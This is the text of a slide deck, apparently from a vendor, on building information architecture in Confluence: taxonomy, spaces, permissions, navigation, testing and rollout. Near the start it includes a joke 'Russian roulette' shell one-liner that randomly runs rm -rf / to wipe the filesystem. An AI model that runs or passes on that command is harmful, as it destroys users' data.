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CREATING A SOUND
INFORMATION ARCHITECTURE IN
CONFLUENCE
founded 1997
partner 2005
CUSTOMERS
58 COUNTRIES
ROADMAP FOR SUCCESS
www.brikit.com/services
HOW TO GET MORE VALUE
FROM CONFLUENCE?Re
turn
User Adoption RateLow High
Confluence ROI
# Russian roulette LOLZ![ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
Consider Your Audience
#1 COMPLAINT• “I can't find anything!”
#2 COMPLAINT• “Where should I put this?”
THE ANSWER?
CHALLENGE: COMPLEXITY• your organization
- divisions, products, departments, projects, teams, initiatives, etc.
• tools - space categories, spaces,
pages, page hierarchies, labels, permissions, Questions, etc.
COMPLEXITY BREEDS CHAOS
• maps tool features to your organization
• ensures tool concepts are familiar and usable
INFORMATION ARCHITECTURE
GOALS• make it fit • make it flexible • make it self-managing • make it work forever • make regular updates
HOW?
ITERATIVE APPROACH• learn your tools and organization • map them together • test • refine • repeat
TOOLS• understand tool capabilities
ORGANIZATION• develop a shared understanding
DIVING IN
DEEP DIVE ON TOOLS• read and experiment • get training • hire an expert
CONFLUENCE HOMEWORK• global permissions • groups and users • space categories • global & personal spaces • space blueprints • space permissions • archived spaces • page hierarchies (trees) • pages
• page blueprints & templates • page properties & reports • page restrictions • bread crumbs • moving pages & trees • links • attachments and files • labels • comments
CONFLUENCE HOMEWORK• likes • favorites • watches • notifications • shares • @mentions • task lists • search • JIRA integration • user-defined macros
• built-in macros: - attachments - blog posts - children - content by label - favorites - include - page tree - recently updated - rss feed
• Confluence Questions - topics - answers - voting - subject matter experts
• Brikit Theme Press - menus - page layouts - headers - footers
SUPPORTING CAST• Brikit Theme Press (cont)
- themes - macros:
- action buttons - block links - catalog navigator - include content - page turners - restrict content - space lists
• HipChat - chat rooms & history - audio & video chats - screen sharing - file sharing - permissions - @mentions - search - integration points
COMPANION PRODUCTS• Service Desk
- projects - tickets - permissions - knowledge base - SLAs - agents - users
PANIC
• organizational hierarchy - org chart units - geographies
• activities - products - initiatives - services - projects - campaigns
OUTLINE YOUR STRUCTURE• people and teams
- matrix - cross-function/business
• information security, relationships, and roles - often overlaps with the
above
• content types (existing assets) - documents & files - videos & media - structured data - external systems
• specific goals - functions - integrations
OUTLINE YOUR STRUCTURE• linkages
- roles to teams, projects, etc.
- security to teams, projects, etc.
- content reuse & sharing - teams, projects, etc. - external sites & systems
PUTTING IT TOGETHER• taxonomy • habitat • permissions
TAXONOMY• groups related things • doesn’t care about location
TAXONOMY IN CONFLUENCE• space categories • page labels • attachment labels • time (recency) • blueprint types • page properties • topics • etc.
TAXONOMY EXAMPLES• space category candidates
- business units - geographies - business functions
• page & attachment label candidates - document types:
- product specs - meeting minutes - (blueprints)
- prioritization - “featured”
HABITAT• where information lives • structural • stay pragmatic
HABITAT IN CONFLUENCE• spaces • page hierarchies (trees) • pages • file attachments • etc.
HABITAT EXAMPLES• space or page tree candidates
- projects - teams - services - products - campaigns or initiatives
KEEP IT FLAT• deep page trees are difficult • too few spaces causes GDPTS • more spaces = better focus • requires navigation • giant menus are difficult • peel the onion
PERMISSIONS• what users can see and do
PERMISSIONS IN CONFLUENCE• most flexible:
- space permissions • useful:
- global permissions - page restrictions
PERMISSIONS TIPS• keep it simple • if it’s not simple:
- rework space architecture - relax permissions
GROUPS FOR PERMISSIONS• think groups, not users • group candidates:
- org chart units - roles - external groups
DOCUMENTING YOUR
INFORMATION ARCHITECTURE
PROCESS• review organization & tools • sketch taxonomy & habitat • move quickly through first pass
KEEP IT SUPER SIMPLE• it will change a lot • use six-month horizon
HABITAT
KEY GROUPS
TAXONOMY LISTS
TAXONOMY TIPS• fewer is better • “africa” and “elephant” instead of
“african-elephant” • “watering-hole” instead of
“water” and “hole” • use common terminology
IMPLEMENTATION• set up a development server • create spaces, categories, etc. • stub out home pages • publish with Spaces List macro
HOME PAGES & NAVIGATION• navigation
- menus, headers, footers - breadcrumbs - page trees
• site home page • data feeds • delegate • postpone complexity
CLICKS VERSUS SCENT• don’t focus on clicks • use scent of information
TESTING• how does it feel? • ask what-if and where-does • seek broad perspectives
RINSE & REPEAT• plan on 3+ updates to:
- habitat & taxonomy - permissions - space structure - home pages & navigation
• replace half of test team
DEPLOYMENT• move to production • migrate existing content
LAUNCH STRATEGIES• executive support • use change management • add something fun • solve specific problems • create training materials • grow evangelists
CREATE A FEEDBACK LOOP• create a suggestion box
- Questions or Service Desk • implement obvious stuff • update docs • postpone complex changes
SCHEDULE REVIEW• aim for six months • tools • information architecture • content & design
BEST PRACTICES• keep it flat • use spaces for permissions • grant privileges to groups • create a site home page space • consider navigation early • diverse & fresh testers
PITFALLS• too few spaces causes GDPTS • too many labels • overlooking space categories &
descriptions • overly complex permissions • not pre-building structure • fixating on # of clicks
PHOTO CREDITSroad https://www.flickr.com/photos/starr-environmental/9285304321architecture https://www.flickr.com/photos/wojtekgurak/4107951711high dive https://www.flickr.com/photos/nostri-imago/5224526190panic https://www.flickr.com/photos/lorenzosernicola/6842763701elephant https://www.flickr.com/photos/tambako/1195585627lion https://www.flickr.com/photos/chris-murphy/4635858790habitat https://www.flickr.com/photos/maureendidde/2372380396stop https://www.flickr.com/photos/loozrboy/2987667713keep out https://www.flickr.com/photos/jantik/94287848dogs https://www.flickr.com/photos/alancleaver/2642818946
LEARN MORE:• www.brikit.com/services • [email protected] • follow us @GetBrikit • youtube.com/GetBrikit